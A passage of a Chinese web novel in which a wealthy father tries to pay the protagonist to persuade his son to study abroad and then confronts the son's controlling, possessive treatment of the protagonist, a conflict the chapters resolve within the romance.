唐老说:“哎哟,胃病可不好养,你以后酒还真得少喝,现在好点了吗?要不要喝点中药调调,我给你推荐个大夫。” 陈则眠连声拒绝:“不不不,不喝中药,我天天吃药膳都该吃吐了,尿尿都一股药味儿。” 唐老哈哈大笑,说:“这才是浸透了,肯定见效。” 见效不见效不知道,浸透是肯定浸透了,陈则眠现在衣服上都带着一股若有若无的药香。 打游戏的时间过得很快。 不一会儿就到了中午十二点,唐家那边开饭了,都在等唐老上桌,唐老就退了游戏。 临下线前,唐老邀请陈则眠有时间去他家玩,说有什么想吃的菜提前讲,他让厨师提前准备。 陈则眠立刻应了下来,说明天就去。 他现在每天在陆灼年的监督下,一天三顿药膳,已经很久没有吃正常的饭菜了。 平时爱吃的那些菜,什么辣子鸡、毛血旺、糖醋排骨、酒酿虾之类更是看不到一点。 趁陆灼年不注意,陈则眠悄悄把这四道菜发给了唐老。 唐老回了个OK的手势:明天中午来吧。 旁人做东也就罢了,唐老做东,陆灼年也不好说什么,明知陈则眠是冲着菜去的,也只得准了。 第二天中午,依旧是薛正伟来接的陈则眠。 在唐老家吃完饭,陈则眠欣赏了唐老新收藏的字画,又和薛正伟比划了一番。 薛正伟指点了几招,陈则眠颇有收获。 离开唐宅时,陆家的司机已经在候着了,不是常跟着陈则眠的王哥,但也接过他几次。 陈则眠上车后,随口问了一嘴:“王哥呢?” 司机回答:“王伟有别的工作,陆先生派我来接您。” 陈则眠也没在意,半路抬头看了一眼,发现不是回盛府华庭的路,才有点诧异地问:“这是去哪儿?” 司机说:“陆宅,陆先生在那边等您。” 听到这儿,陈则眠以为是陆灼年有事回家了,先派司机先来接自己,然后去陆宅接他,两个人再一起回盛府华庭。 陆宅大得宛如一座庄园,进了大门后,又开了好一会儿才见到主楼。 汽车在主楼门前停下。 司机打开对讲通知管家:“我们到了。” 两分钟后,主楼的装甲大门轰然打开,先是走出来两排身着统一制服的佣人。 管家迈下台阶,亲自替陈则眠拉开车门。 这时候陈则眠开始觉得不太对了。 陆灼年出入往来也有排场,但他的排场已经很久没有在陈则眠面前摆过了。 正想给陆灼年打个电话问问时,一位英俊高大的中年男子走出陆宅主楼。 两排佣人和管家齐齐鞠躬:“陆先生。” 看清那人面容的瞬间,陈则眠按在屏幕上的手微微一顿。 他后知后觉、恍然大悟。 原来司机口中那位派人来接他的陆先生′不是陆灼年,而是陆灼年的父亲—— 陆自臻。 80、第80章 陈则眠本以为来陆宅是接陆灼年。 怎么都没想到,竟是陆灼年的父亲要见自己。 还是用这种方式。 陆自臻这个级别的大佬,想见陈则眠有很多办法,可他直接派了陆家的车去接,还打了个时间差,让陈则眠误以为派车的‘陆先生''是陆灼年。 这就有点耐人寻味了。 陈则眠心里一阵打鼓,想不出自己做了什么事,竟能值得陆自臻亲自出面接见。 他飞速分析现在的情况。 能让陆自臻这么重视的,也只有亲儿子陆灼年了。 提起陆灼年,陈则眠没有什么亏心的,只有一件事最不想让人知道—— 就是他帮陆灼年治病的事。 陆自臻突然找他,会是因为这个吗? 该不会是陆自臻知道了他俩的事,觉得是自己在勾引他儿子吧! 毕竟就现在这架势排场,怎么都不像是一次友好的会面。 来者不善,他恐怕是要G了。 而且从眼前的情形看,陆灼年应该是不知道父亲安排的。 如果他知道不可能不和陈则眠讲,而且他现在也不在这里。 综合以上两点可以得知,陆自臻和陈则眠的这次见面,是完全绕过了陆灼年。 他根本就不想自己儿子知道这件事。 只能说姜还是老的辣,自从养病开始,陆灼年怕陈则眠偷吃偷喝,看人看得很紧,出入往来都有陆家司机跟着,根本不存在别人把陈则接走的可能。但陆自臻不是‘别人''。 他是陆家真正的掌权人,使唤起陆家司机来,比陆灼年这个少主还要得心应手。 这一招瞒天过海、暗度陈仓,实在是精妙绝伦。 陆灼年千防万防也绝对想不到防自己亲爹,就这么灯下黑似的,在众目睽睽之下把人给弄丢了。 从结果反推成因,陆自臻会使出这么一招,把陈则眠‘请’到陆宅,这就说明他知道自己的儿子把人看得很紧。 想到这儿,陈则眠心里不由一阵底虚。 他也不知道自己在虚什么,明明被限制人身自由的人是自己,要心虚也该是陆灼年心虚吧。 可显然陆灼年不是会心虚的人。 陈则眠刚在会客的花厅里坐下,陆灼年的电话就打了过来。 不是打给他,而是直接打给陆自臻。 陆自臻坐在陈则眠对面,看了眼管家捧来的手机,唇角微微抿直:“不接。” 管家躬身道:“这已经是大少爷打得第三个电话了。” 陆自臻云淡风轻:“让他打。” 陈则眠:"……" 我嘞个霸道总裁龙傲天。 陆自臻权尊势重,整个京市豪门圈里说一不二的掌权人,大佬中的大佬。 平时其他总裁权贵排着队都见不到的人,就这么出现在陈则眠面前,若无其事地饮茗品茶,也不和他说话,光那份气势就足够让人胆寒了。 陈则眠刚开始是有点心慌,坐了一会儿又觉得无聊,就忘了胆寒的事,开始神游天外,四处瞎看。 欣赏完花厅的装潢布置,他自然而然地看向陆自臻。 陆家人的相貌都是一等一的出挑,陆灼年长得帅,当然少不了陆自臻的好基因。 陆自臻五官深邃,棱角分明,面容轮廓的折叠度更高,年龄没有减损他的英俊,反而增添了一份更为成熟的伟岸,气质比陆灼年还要冷硬与威严。 他端坐在花厅主座,岳峙渊淳,高山仰止,如帝王般尊贵雍容,周身笼罩着君临天下的王者气息。 在大龙傲天傲睨自若、不可一世的超绝气场面前,小龙傲天都显得青涩稚嫩了许多。 陈则眠看着大龙傲天兀自出神,直到一杯茶水摆在他面前,才收拢思绪,说了声:“谢谢。” 管家含笑点点头:“陈少爷客气,趁热尝尝,是武夷山大红袍。” 茶是武夷山大红袍,香味隽永,茶杯是窑变结晶釉三才盖碗,贵不可言。 陈则眠端起茶,垂眸吹去浮沫,才抿了一口,还没尝出什么滋味,就听陆自臻突然开口道: “这是今年的新茶,采摘季节还没到,滋味淡了些。” 陈则眠本来就喝不出什么好坏,听到陆自臻说话,心里紧张就更尝不出味道了,勉强挤出一丝礼貌而不失尴尬的笑容:“挺好喝的。” “现在喝明前最好,"陆自臻眸光落在浅琥珀色的茶汤上:“但灼年说你喜欢大红袍。” 陈则眠呛了一口茶:“咳咳咳咳咳。” 陆自臻看了陈则眠一眼:“别急,慢慢喝,走的时候给你包一盒带走。” 陈则眠如坐针毡:“不用了,谢谢龙……陆总。” 陆自臻矜傲地点了点头,理所当然地收下了陈则眠的感谢,那天经地义、当之无愧地态度,简直和陈则眠刚认识的那个陆灼年一模一样。 陈则眠甚至有种对方在等他跪地谢恩的错觉。 陆自臻抬手示意管家去包茶。 陈则眠坚持道:“真的不用了,陆总。” 陆自臻说:“你现在不拿,等灼年回家看到也会给你拿去,倒不如我直接给你,还能算份人情。” 陈则眠:"……" 好吧,通过这短短几句交谈,他基本已经能够确认—— 陆自臻应该、大概、可能、估计是发现了他和陆灼年之间有点超过了。 虽然对很多人而言,从家里顺点好东西出来跟兄弟分享是基操,但对于陆灼年这样正经的人来讲,这个举动就太可疑了。 可是我和太子殿下真的是兄弟情啊陛下。 您要明鉴啊!!!!! 陈则眠捧着茶碗,猫猫祟祟的用茶杯挡着脸,好像只要陆自臻看不到自己,他就能原地消失一样。 陆自臻不动声色地看了陈则眠一会儿:“你很喜欢那个杯子?” 陈则眠立刻把茶杯放下:“也没有。” 陆自臻随口道:“那杯子也一并拿走吧。” 陈则眠:"……" 他还是不要随便碰什么了。 这喷不了,这是真皇帝,随手赏赐人物件都不眨眼。 不过话说回来,整个陆家所有东西里,他碰的最多的就是陆家大少爷了,只是这点最好不要让陆自臻知道,否则在把陆灼年赏给他和剁掉他狗爪之间,后者的可能性明显更大。 陆自臻食指无意识地轻敲桌面,沉吟道:“还有什么想要的,你都可以提。” 陈则眠呆了呆。 这可以提要求了? 难道都不审问,直接就到‘给你XX万,离开我儿子''的剧情了吗。 陈则眠还想为自己申辩一下,顺便探问:“陆总怎么忽然送我东西,实在是受宠若惊。” 陆自臻看着陈则眠,神情淡漠道:“不算忽然,我这边有事需要协调,也是费了一番周折,才辗转得知你有解决这个问题的能力。” 听到这话,陈则眠心跳都停了半秒,极度紧张之下,他开启了自动回复模式,语气公事公办,像是在应付老板: “您说。” 陆自臻简明扼要:“听说你很擅长处理孩子厌学的情况。” 陈则眠悬起的心骤然落下。 原来是‘京圈少爷变形记’这事儿。 吓死他了。 他还以为陆自臻让他协调陆灼年性.瘾需求的问题呢。 虽然已经在协调了,而且调得很有规律,已经循序渐到了计划书第二页,但这种事还是他和陆灼年自己商量就好了。 陆自臻见陈则眠开始走神,又说了一句话把对方思绪拽回来:"据说叶家老二前段时间不肯念书,就是你想办法把他弄回学校的。" 陈则眠如实道:“那都是误打误撞。” 陆自臻抬手止住陈则眠的推托:“叶二之前成绩都在五百多名,最近一次模考杀进了全校前二百,可见经你之手,却有成效。” 陈则眠:"……" 叶玺竟然这么努力的吗,看来想用学习成绩打他脸的诉求真的是非常强烈了。 陆自臻见时间差不多,说出此次约见陈则眠的目的:“陆家也有一个小辈,最近十分叛逆,很不听话。今日贸然请你过来,就是希望你能从中斡旋一二,想想办法,那让他好好念书。" 陈则眠好奇道:“不知您说的这个小辈,是陆家的哪位少爷?” 陆父举起茶杯,垂眸抿了口茶:“正是犬子。” 陈则眠大吃一惊,瞳孔都放大了半圈。 什么什么?陆家叛逆不听话的小辈,居然是陆自臻的儿子? 可陆灼年不是独生子吗? 他爸怎么还有别的儿子! 难道是私生子? 我的天啊,我这是知道了什么惊天大秘密,不会被灭口吧,不不不,我现在不能慌,要先打探打探这个人是谁,把消息告诉陆灼年,让他能提前有个准备才好。 陈则眠定了定神,斟酌着用词,小心探问道:“陆总,您还有别的儿子呢?” 陆父呛了一口茶,用奇异的眼神看向陈则眠。 陈则眠完美的上演了什么叫好奇心害死猫,连害怕都忘了,直接坐到陆自臻旁边:“到底是谁啊?” 陆自臻嘴角翘起道不明显的弧度,眼中也蓄了些不易察觉的笑:“你觉得是谁?” 陈则眠左右看了看,压低声音说:“是私生子吗?” 陆自臻忍不住低笑出声:“陈则眠,你确实很有趣,难怪灼年这么喜欢和你在一起。” 陈则眠歪了歪头:“嗯?” 陆自臻嘴角仍留这浅淡的笑意:“我说的这个小辈就是灼年。” 陈则眠下意识往后仰了下头,怎么都想不到陆灼年会和‘叛逆’两个字挂钩:“陆少学习很认真啊,每天都写论文到很晚。” 陆自臻语气中多了些诧异:"B大留学季的事你不知道吗?他拒绝了这学期的留学申请,我想不通是为什么。" 陈则眠恍然大悟:“你是说留学的事啊,我也想不通!” 陆灼年出国留学是个很关键的剧情节点,要是错过了,后面的剧情就全乱了不说,对陆灼年个人事业的发展也会造成巨大的负面形象。 作为陆灼年的事业粉,陈则眠支持陆灼年去留学。 可他也不知道陆灼年为什么不想去。 陆自臻双眉习惯性地蹙起:“今年六月前,会提前开启下学期的留学内推,你有办法让他同意去留学吗?” 陈则眠想了想,说:“我可以试试,但我之前劝过,好像没什么用。” 陆自臻看了陈则眠两秒,笃定道:“你肯定有办法让他同意。” 陈则眠不是很自信地说:“我尽量。” 陆自臻推过去一张空白支票:“陈则眠,我相信你能做到。” 陆灼年站在会客花厅门口,看着陈则眠收下了那张支票。 他面无表情地走进花厅。 陈则眠支票还没揣兜里呢,忽然看见陆灼年进来。 完了! 收钱被看到了。 陆灼年会不会不高兴? 在陈则眠心里,陆灼年的地位远胜空白支票。 他转身面向陆灼年,无需询问就主动坦白,争取宽大处理。 “陆总想让我劝你出国留学,我说我劝过没用,” 陈则眠主动将赃物递给陆灼年,当场反水指认陆自臻:“陆总就给了我这张支票,还说我一定有办法。” 陆自臻还是头一回遇见有人敢当面把责任往他身上推的,不由倍感惊奇,先是看了陈则眠一眼,转眸望向陆灼年,看他会作何反应。 陆灼年淡淡扫了眼支票,不是很在意地说:“给你就拿着,我的钱也都是他的,你花谁的都一样。” 陆自臻:"……" 他在心里闭了闭眼,真心觉得自己儿子没救了。 陈则眠觉得这样对陆自臻的血压不太好,忍痛把支票放回桌子上,说:“无功不受禄,还是算了吧。” 陆自臻气定神闲道:“我相信你一定有办法让灼年出去留学,陈总不妨再考虑一下,我能给你的不仅是支票,其他条件我也都可以满足。” 这是一个非常具有诱惑力的筹码,不要说是陈则眠,换了任何人站在这里,都不可能对此无动于衷。 在这样一份顶级资源下,金钱变成了一串不具备赋能的单薄数字,真正令人难以拒绝的,是陆自臻背后代表的势力以及那无穷无尽的人脉和权势。 陈则眠没有回答。 在这种时候沉默本身就是一种态度。 陆灼年站在陈则眠身后,手掌抵在他背上,犹如一种无声的支持。 陈则眠回头看了陆灼年一眼。 陆灼年低声说:“你可以答应他。” 陈则眠犹豫半秒,提出中止谈判申请:“我要和陆少商量一下。” 陆自臻看着眼前的两个少年,胜券在握般颔首道:“请便。” 陈则眠转身推着陆灼年走出花厅。 午后阳光正好,辉耀灿烂。 树叶轻摇,光影婆娑。 阳光太过耀眼,陈则眠眼前是绚烂的、白亮的光,晃得他有些恍惚,有种特别虚浮、空幻、不真实的感觉。 每个人的一生中都会有那么几个瞬间,你会有种奇怪的预感,隐约感觉到要发生什么。 你不知道那具体是什么,甚至不知道是好是坏。 但可以确定的是,你接下来要做的事、说的话,有可能会改变往后的人生。 陈则眠现在就有这种感觉,他像是站在了某个分叉口。 陆灼年逆光站在树下,面容与光影重叠,掩住了全部神色。 陈则眠迎着光,陆灼年的脸印在视网膜上,模糊成一团灿烂的光晕。 但他的声音却很清楚。 陈则眠听见陆灼年对自己说:“你可以答应我爸。” 陈则眠眯了眯眼,似是疑惑不解,又似是只想看清陆灼年的脸:“答应你爸什么?” 陆灼年往后退了一步,把陈则眠也拉进树荫下:“答应他说服我去留学。” 陈则眠看着地上晃动的光斑:“我能说服你吗?” 陆灼年轻轻笑了笑:“你说我就会去。” 他把是否去留学的决定权交了给陈则眠。 陈则眠只要点下头,剧情就能按照既定的逻辑发展下去。 陆灼年会去留学、会遇见他该遇见的人、会如同书中所写那样,开创他光辉璀璨的一生。 这样才是对的,是陈则眠熟悉的、了解的。 命定的轨迹。 明晃晃的烈日下,他仿佛看见了命运的洪流呼啸而来。 陈则眠抬起头,看着陆灼年:“可是我不想答应。” 陆灼年霍然看向陈则眠。 陈则眠对他说:“波士顿冬天的雪很大,我也没有很想要你去那里吹冷风。” 时光交错的裂隙中,命运的洪流扑面而来。 而陈则眠最擅长的就是回避。“去不去留学,你自己说了算。”这句话说出口的瞬间,陈则眠背叛了七百万字的剧情,也背叛自己熟知的一切,将决定权交还给了陆灼年。既定的命轨在这一刻, 瞬息万变。 陈则眠问:“那另外几次呢?” 81、第81章 在陈则眠选择相信陆灼年的这一刻。 他放弃了对剧情的依赖。 陆灼年不知道陈则眠割舍的究竟是什么。 但他很确定的一点是,世界上没有几个人能够为了尊重他的选择,而有勇气拒绝顶级权贵陆自臻的橄榄枝。 勇气是双向的。 陈则眠的决定让陆灼年有了更深刻、更充足的底气。 他从前只知道自己在陈则眠心里有分量,但分量的概念是缥缈的、模糊的、没有定额的。 是多是少,是轻是重,他一概不知。 模糊的概念在比较下变得具象,有了相对具体的数量。 “你知道拒绝我爸意味着什么吗?” 陆灼年垂眸看着陈则眠:“这世界上的所有事,只要是能实现的,他都能为你办到。” 陈则眠弯起眼睛:“可他拿你没办法。” 陆灼年:“是。” 陆自臻可以威逼利诱任何人,却唯独对自己的儿子束手无策。 强迫孩子去做他不想做的事,不仅得不到想要的结果,反而会伤了父子情,让事情变得更糟。 陆灼年决定了的事,就算是亲生父母也无法改变,只能通过别的办法另辟蹊径。 所以陆自臻找到了陈则眠。 陈则眠看向陆灼年:“因为他知道你拿我没办法,只要我拿了他的支票,你就肯定会去留学。” 陆灼年素来冷峻的脸上浮现出一丝浅淡的笑意:“陈则眠,你说这句话的样子,真的是非常有恃无恐。” 陈则眠眸光明若星璇:“我讲得不对吗?” 陆灼年抬手拂去陈则眠肩头落花:“对,那你舍得他的支票吗?” 陈则眠瞥了眼桌子上的支票,明显不是很舍得,但他更不想违背陆灼年的意愿,逼他去他不想去的地方。 “我没有不想去留学,之前只是觉得时机还不够成熟,现在……我觉得差不多了。”陆灼年轻轻推了下陈则眠后背,鼓励道:“如果你很想要,就去拿吧。”陈则眠没动。 他还要再想想。 陆灼年没有催促,耐心等待陈则眠做出选择。 他是父亲的软肋,陈则眠是他的弱点。 陆自臻谋算深远,在层层错综复杂的逻辑关系中抓到了主要矛盾,一击即中。 派人接走陈则眠,是邀请,也是警告。 陆灼年抬眸看向花厅,透过光影斑斓的隔栅与陆自臻对遥遥对视。 陆自臻非常了解自己的儿子,他在这一眼中读出了前所未有的坚定。 陆灼年想要的东西,从来就没有得不到的。 他势在必得,绝不会放手。 陈则眠和陆自臻想象中的很不一样,但他一点也不惊讶儿子会对陈则眠动心。 过于出挑的相貌和自在逍遥的性格结合在一起,形成独特的洒脱气质,确实很难不引人注意。 陆灼年的人生蹈常习故、顺遂稳定,会被色彩鲜艳、节奏明快的陈则眠吸引,简直犹如命定。 陆自臻这次找到陈则眠,目的有两个。 一是投石问路,权衡留学之事是否还有转圜; 二是隔岸观火,试探陈则眠在陆灼年心中的位置是否还能动摇。 结果已经很明显了。 留学的事还有得谈,但陈则眠的位置坚不可摧。 陆自臻指腹轻捻,预感到此事注定棘手。 落花有意,流水无心。 他儿子表现得都这么明显了,陈则眠还在外面纠结要不要拿他的支票! 这个进度差真是高到让他这个老父亲两眼一黑的程度。 光指望儿子是不行了。 况且灼年身患隐疾,高强度高需求的生活并不是谁都能接受,还很容易把人吓跑。 这个陈则眠看着细皮嫩肉的,怎么都不像是很能经得住折腾的模样,据说身体还不大好,在陆家的医院看过几次病,听说第一次好像还做了全身检查,连脑部核磁都拍了。过敏体质、哮喘,胃还娇弱。 倒也都能养。 陆自臻沉思片刻,吩咐管家:“拿两盒贡品燕盏和特选虫草放到车上,叫灼年那边的厨师每天早晚炖好,督促他吃了,还有其他补品,往后也按月给他们送去,不用再来问 管家在陆宅工作多年,对主家心思十分了解。 听到这话,管家立刻应道:"那就再拿些辽参海马、人参鹿茸,这些都能增加免疫力,小陈少爷还年轻,吃上一段时间就能养好。" 陆自臻望向院中那条修长高挑的人影,眉峰不自觉蹙起:“怎么这样瘦,平常那边都吃些什么?” 管家对答如流:“之前菜谱和这边一样,自打小陈少爷犯了胃病,就改炖了药膳,荤腥油腻、生冷海鲜一类就没再上过桌,也不许他出去和萧少他们胡吃海喝。” 陆自臻只知道陆灼年把陈则眠藏在私宅里,却不知竟然连人家吃什么喝什么都要管,深觉此事不妥,眉头紧锁地问道:“这是什么时候的事?” 管家:“有一个多月了。” “灼年性格就是这样,矫枉过正,”陆自臻表情虽没变化,眼神里却透露出一丝不赞同:“都正是爱吃爱玩的年龄,他这么把人拘在家里,人家愿意跟他才怪了。” 管家嘴角抿了抿,压下笑意道:“陆先生说的是,那我让厨房加两个菜,晚上留小陈少爷在这边吃?” 陆自臻思忖片刻:“罢了,他才第一次见我,留在这儿心惊胆战的,吃也吃不好。” 管家提醒道:“是第二次了陆先生,少爷在酒庄失联那晚,就是他先找到的陆少,和您在医院门口见过一面。” 当时情况紧急,陆自臻的心思全挂在自己儿子身上,并未刻意注意对方长什么模样,今日经过管家提醒,两张脸才逐渐重合在一起。 陆自臻再次看向陈则眠,恍然道:“原来是他。” 陈则眠发现陆自臻又朝他看过来。 短短几分钟的时间,这都是看他三四次了,到底在看什么啊。 陈则眠如芒在背,不自在地偏过头,小声问陆灼年:“你爸为啥又看我。” 陆灼年看了他爸一眼。 陆自臻朗声道:“灼年,你来。” 陆灼年往前走了一步,见陈则眠还停在原地,就停下来等他。 陈则眠不太想去,推了推陆灼年:“你去你的,他又没叫我。” 陆灼年没为难陈则眠,说了句‘那你稍等我一会儿,我跟他说两句话就带你回家′。 陈则眠应了一声,看到陆灼年走进花厅,父子俩都压着声音说话,也听不清谈了些什么。 只看陆灼年脸色微沉,愈发不悦,没讲几句,他不情不愿地走出来,叫陈则眠也过来。 陈则眠过去,问:“陆总,您还有什么吩咐吗?” 陆自臻抬抬手,示意他坐下说。 花厅里一共四个人,现在只有陆自臻坐着。 陆灼年还站着,陈则眠自然也不好坐,正犹豫之际,陆灼年却在他肩膀上一按,低声跟他说了句:“你坐吧。” 陈则眠只好坐下,斟字酌句地回绝道:“陆总,关于陆少留学的事,我想我可能没办法和你达成合作了。” 陆自臻不以为意道:“留学的事你们俩回去再商量,我叫你来是想问问,你平时爱吃什么口味的菜。” 陈则眠愣了愣:"菜?" 不是在研究要不要出国留学的事吗?怎么突然就说到吃上了,是他跳集了还是这个世界跳帧了? 管家在旁解释:“陆先生见您似乎是瘦了些,料想可能是家里的饭菜不够合口,说要从陆宅拨个厨子过去给你单开小灶,所以才问你的口味。官府菜、鲁菜、淮扬菜、川菜、粤菜、徽菜您更偏好哪家?” 陈则眠脱口而出:“川菜!” 陆灼年轻咳了一声。 陈则眠拐了个弯,紧急撤回:"川菜就算了。" 陆灼年龙颜微悦,略带得意地看了陆自臻一眼。 陆自臻问:“为什么算了。” 陈则眠声音有点丧气,没精打采地说:“我胃不好,不能吃辣的。” 陆灼年对这个回答很满意,奖励性地摸了摸陈则眠的头:“回去的路上给你买星乐冰。” 陈则眠有了点精神:“要摩卡可可碎片的,加燕麦奶和三泵覆盆子酱。” 陆灼年:“一泵。” 陈则眠:“两泵。” 陆灼年说:“两泵可以,但晚上要吃药膳。” 陈则眠和陆灼年达成了合意,因为他就算不喝星乐冰,晚上也得吃药膳。 能白白得到一杯加了两泵覆盆子酱的星乐冰,已经很赚了。 陆自臻旁观了两个人讨价还价的全过程,从担心自己儿子转变为担心陈则眠。 怎么给人家孩子管成这样了。 这谁能受得了。 他俩是正常的关系吗?陆灼年不会胁迫人家什么了吧。 陆自臻忍不住皱眉道:“养身体也不用天天吃药膳,灼年,你管得太过了。” 陆灼年转头看向陆自臻:“他愿意吃。” 陈则眠偷偷摇摇头。 陆自臻:"……" 陆灼年回身俯视陈则眠:“告诉他你喜欢吃药膳,覆盆子酱三泵。” 陈则眠立刻说:“我喜欢……” 陆自臻额角青筋跳了跳,猛地一拍桌子,低喝道:“陆灼年,你给我出去!” 陆灼年站在原地没动。 陈则眠轻轻推了他一下,他才转身走了。 管家亲手换了新茶后躬身退下,离开时还顺手掩上了花厅的门。 陆自臻沉默半晌,开口道:“我这个儿子从小对自己要求就高,凡事都求全责备,要求尽善尽美,长大后也是样样俱全,看起来无可挑剔。” 陈则眠摸不清状况,跟着夸赞道:“陆少是天之骄子,人中龙凤,自然无可挑剔。” 陆自臻话锋一转:“他向来顺遂,事事争先要强,但奇怪的是,每次都是所求既所得,我和他妈妈对此也感到很惊讶,后来也就习以为常了。”陈则眠不知道这话该怎么接。 总不能告诉陆自臻你儿子小龙傲天你是大龙傲天吧,所以你俩命都好吧。 于是陈则眠就没回话,只保持淡淡微笑,做出一副洗耳恭听的模样,等着听下文。 陆自臻继续道:“这样的性格和运势造就之下,人难免有些偏执,控制欲也强,偶尔有失礼之处,还望你多多担待。” 听到这儿,陈则眠总算听明白了。 陆自臻可能是看到陆灼年和他说话的语气态度有异,觉得陆灼年表现出了‘不完美的一面,故而出言替自己儿子圆场卸责。 陈则眠笑了笑,说:“没关系的陆总,我和陆少平时就是这么相处的,我都习惯了。” 陆自臻忖度半晌:“你……” 陈则眠微不可察地歪了下头:“怎么?” “他现在还越不过我,”陆自臻神情郑重,将一张鎏金的名片递给陈则眠:“这上有我的私人电话和陆宅专线,24小时都有人接听,你有什么困难,可以随时打给我。”陈则眠接过名片。 陆自臻面容严肃,明显在等他说些什么。 陈则眠迟疑道:“谢谢陆总?” 陆自臻见陈则眠未能听懂他的言外之意,只能挑明问道:“你们这种关系……你是自愿的吗?” 陈则眠猝然一惊:“什么关系?” 陆自臻不语,垂眸抿了口茶。 陈则眠抓耳挠腮,不知道陆自臻是真知道了什么还是在诈他,下意识望向花厅外的陆灼年。 陆灼年透过隔窗和陈则眠对视半秒,接受到了求助信号,没有丝毫犹豫,抬手就推开门走向陈则眠。 陆自臻面色猛地一沉。 陆灼年向来克己守礼,对父亲尊敬有加,这是他第一次在没有得到允许的情况下,在父亲与旁人谈话时硬闯进来。 陆自臻:“我让你进来了吗?” 陆灼年半挡在陈则眠身前,开口道:“爸,您有什么疑问直接问我,不要为难他。” 陆自臻气笑了:“我是在为难他吗?” 陆灼年:“不然呢?您一声不响地把人接过来,这么做合适吗?” 陆自臻反问:“你们之间的事情我多少知道一点,在你问我为什么把人接过来之前,有没有审视你做那些事,陈则眠只是有点胃病,你就借题发挥,成日把人关在家里,不光拘着他,自己也正事不做,这就合适了?" 陆灼年没有和父亲顶嘴,但神情显然没有半分悔改之意。 陈则眠看了就陆灼年,又看了看陆自臻,委婉地表示:“陆少没有关着我。” 陆自臻用一种难以形容的眼神看着陈则眠,问:“除了今天,你上次出门是什么时候?” 陈则眠愣了愣:“半、半个月以前。” 陆自臻继续问他:“我问过司机,昨天你有一个商务会谈,为什么不去。” 陈则眠总不好说是因为前一晚和陆灼年胡闹得太晚,自己没起来床,含混地回答:“我起晚了。” 陆自臻轻笑一声:“那再上次的晚宴呢?” 陈则眠回忆了一下,那晚………那晚他都换好衣服了,准备出门前,陆灼年却忽然犯了病,他衣服都没来得及换,两个人就、就在客厅沙发上治了一次病。 那次也用领带了,就是陈则眠脖子上戴得那条,只是后来蒙在了眼睛上。 陆自臻太了解自己的儿子了,提醒陈则眠道:“你好好回想回想,是不是你每次要出去,都会 刚巧遇到‘突发事件。” 陈则眠呆住了,倏然抬头看向陆灼年。 陆灼年面无表情,没有想要解释半句的意思。 陆自臻不能放任陆灼年一错再错。 他知道自己儿子的病,更知道陆灼年性格偏执,从小到大想要的东西就一定要得到,充满了占有欲和控制欲,他可以放任自己的儿子的占有欲,只要是财力可及、科技范围之内的任何东西,陆自臻都能帮陆灼年得到。 唯有感情不可以。 人不可以。 就算是强求一时,最后也只会两败俱伤。 他怕陆灼年伤了陈则眠是真,更怕的是他儿子走偏了路,为情自伤。 在今天之前,他只知道陆灼年对陈则眠有意思,不肯出国留学也是为了这个人,接陈则眠过来,也是想谈出国的事,并不打算出手干预两个人的感情。 但他没有想到他儿子已经疯魔到了这个程度。 连人家喝饮料加几勺糖浆都要管。 控制欲和占有欲不会因为满足而达到遏制,只会变本加厉,如今陆灼年羽翼未丰,就敢在没有他的允许下进入花厅,这时候再不出手干预,用不了一年半载,还不知道要发展成什么样。 陆自臻压下惊怒,调整表情,带着恰到好处的歉意对陈则眠说:“从前种种,我代灼年向你致歉,他性格如此,又有病症作祟,往后只会愈演愈烈,你之前确实自愿也好,受他蒙蔽也罢,今日都不再作数,你可以重新考虑一下。” 陈则眠还有点懵:“考虑什么?” 陆自臻说:“如果你后悔了,我可以随时送你走。” 陆灼年急道:“爸!” 陆自臻放下茶杯,杯底和桌面磕出一声轻响:“你让他自己说!” 陆灼年陡然噤声,忽然很想知道陈则眠会怎么选。 陈则眠转眸看着陆灼年:“每次我想出门都会有其他的事,是碰巧还是你故意的?” 陆灼年面颊紧绷,唇角抿起一道浅淡的弧度:“停了药以后,我的情绪起伏有明显异常,每次知道你要独自出门都会心烦意乱,有几次确实是难以自控。” 陆灼年:“另外几次,我可以控制,但是我没有。” 陈则眠没想到真让陆自臻说中了,转眸看了陆自臻一眼。 陆自臻鼓励般地点点头,示意他无论说什么吗,自己都会支持,不会因为陆灼年是自己的儿子,就放任他一错再错。 陆灼年喉结滚了滚:“陈则眠,事实就是如此,我爸说的没错,我就是想关着你,不喜欢你独自出门,你有什么想说的吗?” 陈则眠低头揪着卫衣帽绳,小声说:“那、那我就少出呗。” 作者有话说 82、第82章 陆自臻对自己的儿子还真是十分了解。 陆灼年最近像是真进入了叛逆期,主打就是一个特别不听劝。 什么事都得逆着来。 在陈则眠表示不再劝他留学之后,他同意了去留学;在陈则眠承诺以后会少出门之后,他不再限制对方的出行。 从陆宅回盛府华庭的路上,甚至还买了两杯星乐冰,还全都另加了覆盆子糖浆! 足足三泵! 陈则眠都有点害怕了,把其中一杯推给陆灼年,说:“我喝一杯就可以了,我胃不好,不能喝那么多。” 陆灼年抬手在陈则眠嘴角轻轻一抹,用拇指擦掉他唇边粘的奶油摩卡酱:“之前是我不对,我以后不会那么管你了。” 陈则眠一把抓住陆灼年的袖子:“别啊。” 如果没有陆灼年管他,他现在可能已经胃穿孔住院了,他真的很不擅长养自己,非常需要一个人来规范他的行为。 当然这也不是什么人都可以,毕竟如果管束他的人自身不够自律、不够权威,那陈则眠也根本做不到听他的,甚至可能会在对方命令他的时候和对方打起来。 陈则眠攥紧手中的衬衫袖口:“我自制力这么差,你不管我,我会把自己养死的。” “可我干涉得太多了,不让你吃喜欢吃的东西,派司机跟着你,还借着生病的由头,变相地阻拦你出门,"陆灼年垂眸看着陈则眠修长纤细的手指,喉结滚了滚:“你都不生气吗?" 陈则眠真心觉得这都不是什么大事。 除了假装犯病有点过分之外,其他都是为自己好啊。 陈则眠说:“你以后不要总是假装犯病就好了,我说怎么越治你犯病的次数越频繁。” 陆灼年反手握住陈则眠的手腕:“其实有时候我也分不清是犯病,还是单纯地想要你。” 陈则眠猛地捂住陆灼年的嘴,瞪大眼睛看着他:“这还是在大街上呢,你在说什么胡言乱语。” 陆灼年嘴唇贴着陈则眠掌心,呼吸间都是淡淡的摩卡可可香:“我今年八月底就出国留学了,还有三个多月。” 陈则眠手指轻轻蜷起:“你想说啥。” 陆灼年说:“快递到了。” 虽然没明说是什么快递,但两个人都心知肚明。 陈则眠心里莫名慌张,像是被烫了一下似的收回手,拽着陆灼年回到车上,关紧车门后才说:“不行,前天才弄了两次。” 陆灼年侧坐在驾驶位上,乌沉沉的眸子盯着陈则眠:“是你的两次,后来我放你睡觉了。” 陈则眠没话反驳,他确实把治病治到一半的陆灼年扔到一边,自己先睡着了。 